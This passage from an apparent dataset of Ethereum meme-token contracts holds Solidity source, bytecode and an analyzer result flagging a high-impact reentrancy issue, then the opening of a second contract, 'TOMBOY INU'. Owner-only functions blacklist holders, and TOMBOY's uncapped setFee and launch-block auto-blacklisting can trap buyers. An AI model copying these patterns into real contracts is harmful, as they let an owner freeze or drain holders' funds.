function createPair() external onlyOwner(){
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
removeMaxTx = true;
_maxTxAmount = 25_000_000_000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
if (maxTxAmount > 25_000_000_000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function _setSellTax(uint256 sellTax) external onlyOwner() {
if (sellTax < 15) {
_sellTax = sellTax;
}
}
function setBuyTax(uint256 buyTax) external onlyOwner() {
if (buyTax < 15) {
_buyTax = buyTax;
}
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a14610314578063c3c8cd8014610334578063c9567bf914610349578063dbe8272c1461035e578063dc1052e21461037e578063dd62ed3e1461039e57600080fd5b8063715018a6146102a25780638da5cb5b146102b757806395d89b411461015c5780639e78fb4f146102df578063a9059cbb146102f457600080fd5b806323b872dd116100f257806323b872dd14610211578063273123b714610231578063313ce567146102515780636fc3eaec1461026d57806370a082311461028257600080fd5b8063013206211461013a57806306fdde031461015c578063095ea7b31461019b57806318160ddd146101cb5780631bbae6e0146101f157600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061015a610155366004611848565b6103e4565b005b34801561016857600080fd5b50604080518082018252600781526653686962697a6160c81b6020820152905161019291906118c5565b60405180910390f35b3480156101a757600080fd5b506101bb6101b6366004611756565b610435565b6040519015158152602001610192565b3480156101d757600080fd5b50683635c9adc5dea000005b604051908152602001610192565b3480156101fd57600080fd5b5061015a61020c366004611880565b61044c565b34801561021d57600080fd5b506101bb61022c366004611716565b610490565b34801561023d57600080fd5b5061015a61024c3660046116a6565b6104f9565b34801561025d57600080fd5b5060405160098152602001610192565b34801561027957600080fd5b5061015a610544565b34801561028e57600080fd5b506101e361029d3660046116a6565b610578565b3480156102ae57600080fd5b5061015a61059a565b3480156102c357600080fd5b506000546040516001600160a01b039091168152602001610192565b3480156102eb57600080fd5b5061015a61060e565b34801561030057600080fd5b506101bb61030f366004611756565b61084d565b34801561032057600080fd5b5061015a61032f366004611781565b61085a565b34801561034057600080fd5b5061015a6108fe565b34801561035557600080fd5b5061015a61093e565b34801561036a57600080fd5b5061015a610379366004611880565b610b07565b34801561038a57600080fd5b5061015a610399366004611880565b610b3f565b3480156103aa57600080fd5b506101e36103b93660046116de565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b031633146104175760405162461bcd60e51b815260040161040e90611918565b60405180910390fd5b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000610442338484610b77565b5060015b92915050565b6000546001600160a01b031633146104765760405162461bcd60e51b815260040161040e90611918565b68015af1d78b58c4000081111561048d5760108190555b50565b600061049d848484610c9b565b6104ef84336104ea85604051806060016040528060288152602001611a96602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f92565b610b77565b5060019392505050565b6000546001600160a01b031633146105235760405162461bcd60e51b815260040161040e90611918565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461056e5760405162461bcd60e51b815260040161040e90611918565b4761048d81610fcc565b6001600160a01b03811660009081526002602052604081205461044690611006565b6000546001600160a01b031633146105c45760405162461bcd60e51b815260040161040e90611918565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106385760405162461bcd60e51b815260040161040e90611918565b600f54600160a01b900460ff16156106925760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161040e565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b1580156106f257600080fd5b505afa158015610706573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061072a91906116c2565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561077257600080fd5b505afa158015610786573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107aa91906116c2565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156107f257600080fd5b505af1158015610806573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082a91906116c2565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610442338484610c9b565b6000546001600160a01b031633146108845760405162461bcd60e51b815260040161040e90611918565b60005b81518110156108fa576001600660008484815181106108b657634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108f281611a2b565b915050610887565b5050565b6000546001600160a01b031633146109285760405162461bcd60e51b815260040161040e90611918565b600061093330610578565b905061048d8161108a565b6000546001600160a01b031633146109685760405162461bcd60e51b815260040161040e90611918565b600e546109899030906001600160a01b0316683635c9adc5dea00000610b77565b600e546001600160a01b031663f305d71947306109a581610578565b6000806109ba6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a1d57600080fd5b505af1158015610a31573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a569190611898565b5050600f805468015af1d78b58c4000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610acf57600080fd5b505af1158015610ae3573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061048d9190611864565b6000546001600160a01b03163314610b315760405162461bcd60e51b815260040161040e90611918565b600f81101561048d57600b55565b6000546001600160a01b03163314610b695760405162461bcd60e51b815260040161040e90611918565b600f81101561048d57600c55565b6001600160a01b038316610bd95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161040e565b6001600160a01b038216610c3a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161040e565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cff5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161040e565b6001600160a01b038216610d615760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161040e565b60008111610dc35760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161040e565b6001600160a01b03831660009081526006602052604090205460ff1615610de957600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e2b57506001600160a01b03821660009081526005602052604090205460ff16155b15610f82576000600955600c54600a55600f546001600160a01b038481169116148015610e665750600e546001600160a01b03838116911614155b8015610e8b57506001600160a01b03821660009081526005602052604090205460ff16155b8015610ea05750600f54600160b81b900460ff165b15610eb457601054811115610eb457600080fd5b600f546001600160a01b038381169116148015610edf5750600e546001600160a01b03848116911614155b8015610f0457506001600160a01b03831660009081526005602052604090205460ff16155b15610f15576000600955600b54600a555b6000610f2030610578565b600f54909150600160a81b900460ff16158015610f4b5750600f546001600160a01b03858116911614155b8015610f605750600f54600160b01b900460ff165b15610f8057610f6e8161108a565b478015610f7e57610f7e47610fcc565b505b505b610f8d83838361122f565b505050565b60008184841115610fb65760405162461bcd60e51b815260040161040e91906118c5565b506000610fc38486611a14565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156108fa573d6000803e3d6000fd5b600060075482111561106d5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161040e565b600061107761123a565b9050611083838261125d565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110e057634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561113457600080fd5b505afa158015611148573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061116c91906116c2565b8160018151811061118d57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546111b39130911684610b77565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111ec90859060009086903090429060040161194d565b600060405180830381600087803b15801561120657600080fd5b505af115801561121a573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610f8d83838361129f565b6000806000611247611396565b9092509050611256828261125d565b9250505090565b600061108383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113d8565b6000806000806000806112b187611406565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506112e39087611463565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461131290866114a5565b6001600160a01b03891660009081526002602052604090205561133481611504565b61133e848361154e565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161138391815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea000006113b2828261125d565b8210156113cf57505060075492683635c9adc5dea0000092509050565b90939092509050565b600081836113f95760405162461bcd60e51b815260040161040e91906118c5565b506000610fc384866119d5565b60008060008060008060008060006114238a600954600a54611572565b925092509250600061143361123a565b905060008060006114468e8787876115c7565b919e509c509a509598509396509194505050505091939550919395565b600061108383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f92565b6000806114b283856119bd565b9050838110156110835760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161040e565b600061150e61123a565b9050600061151c8383611617565b3060009081526002602052604090205490915061153990826114a5565b30600090815260026020526040902055505050565b60075461155b9083611463565b60075560085461156b90826114a5565b6008555050565b600080808061158c60646115868989611617565b9061125d565b9050600061159f60646115868a89611617565b905060006115b7826115b18b86611463565b90611463565b9992985090965090945050505050565b60008080806115d68886611617565b905060006115e48887611617565b905060006115f28888611617565b90506000611604826115b18686611463565b939b939a50919850919650505050505050565b60008261162657506000610446565b600061163283856119f5565b90508261163f85836119d5565b146110835760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161040e565b80356116a181611a72565b919050565b6000602082840312156116b7578081fd5b813561108381611a72565b6000602082840312156116d3578081fd5b815161108381611a72565b600080604083850312156116f0578081fd5b82356116fb81611a72565b9150602083013561170b81611a72565b809150509250929050565b60008060006060848603121561172a578081fd5b833561173581611a72565b9250602084013561174581611a72565b929592945050506040919091013590565b60008060408385031215611768578182fd5b823561177381611a72565b946020939093013593505050565b60006020808385031215611793578182fd5b823567ffffffffffffffff808211156117aa578384fd5b818501915085601f8301126117bd578384fd5b8135818111156117cf576117cf611a5c565b8060051b604051601f19603f830116810181811085821117156117f4576117f4611a5c565b604052828152858101935084860182860187018a1015611812578788fd5b8795505b8386101561183b5761182781611696565b855260019590950194938601938601611816565b5098975050505050505050565b600060208284031215611859578081fd5b813561108381611a87565b600060208284031215611875578081fd5b815161108381611a87565b600060208284031215611891578081fd5b5035919050565b6000806000606084860312156118ac578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b818110156118f1578581018301518582016040015282016118d5565b818111156119025783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b8181101561199c5784516001600160a01b031683529383019391830191600101611977565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156119d0576119d0611a46565b500190565b6000826119f057634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611a0f57611a0f611a46565b500290565b600082821015611a2657611a26611a46565b500390565b6000600019821415611a3f57611a3f611a46565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461048d57600080fd5b801515811461048d57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205dba6fb193eff3e6eb32d3aa586fbc1581fb7f17d528c9599ab48e91cb2e0a3264736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 861 |
0x0aee15e0be0d426646e32cf0f1e5360d309109a5 | /**
*Submitted for verification at Etherscan.io on 2022-04-15
*/
/*
Telegram : https://t.me/TomboyInu
// SPDX-License-Identifier: GPL-3.0-or-later
/**
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract TOMBOY is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "TOMBOY INU";//
string private constant _symbol = "TOMBOY";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 4;//
uint256 private _taxFeeOnBuy = 4;//
//Sell Fee
uint256 private _redisFeeOnSell = 5;//
uint256 private _taxFeeOnSell = 5;//
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0xd47EFce6EF99Dd0f240F74Aeb55E963901157160);//
address payable private _marketingAddress = payable(0xd47EFce6EF99Dd0f240F74Aeb55E963901157160);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 100000000000 * 10**9; //
uint256 public _maxWalletSize = 30000000000 * 10**9; //
uint256 public _swapTokensAtAmount = 15000000000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(block.number <= launchBlock && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
bots[to] = true;
}
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
launchBlock = 3;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
